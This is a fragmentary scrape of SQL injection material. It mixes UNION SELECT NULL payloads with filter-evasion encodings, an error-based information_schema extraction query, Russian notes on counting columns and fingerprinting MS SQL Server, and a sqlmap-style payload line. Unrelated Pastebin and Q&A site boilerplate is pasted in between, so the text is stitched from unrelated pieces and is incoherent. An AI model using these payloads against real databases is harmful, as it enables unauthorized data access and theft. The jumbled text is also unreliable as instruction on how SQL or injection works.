union+sel%0bect null,null,null,null. +#1q%0Aunion all#qa%0A#%0Aselect null,null,null,null.
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))).
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.
' union select null,null,null,null -- - (500 error). Перебираем NULL, пока не получим 200 ОК, т.к. без ошибок. Используем NULL, потому что NULL подходит для всех типов данных.
There is a performance hit when using UNION instead of UNION ALL, since the database server must do additional work to remove the duplicate rows, but usually you do not want the duplicates (especially when developing reports).
Connect and share knowledge within a single location that is structured and easy to search.
Type: UNION query Title: Generic UNION query (NULL) - 32 columns Payload: ID=-3043 UNION ALL SELECT NULL,NULL,CONCAT(0x71766a7071...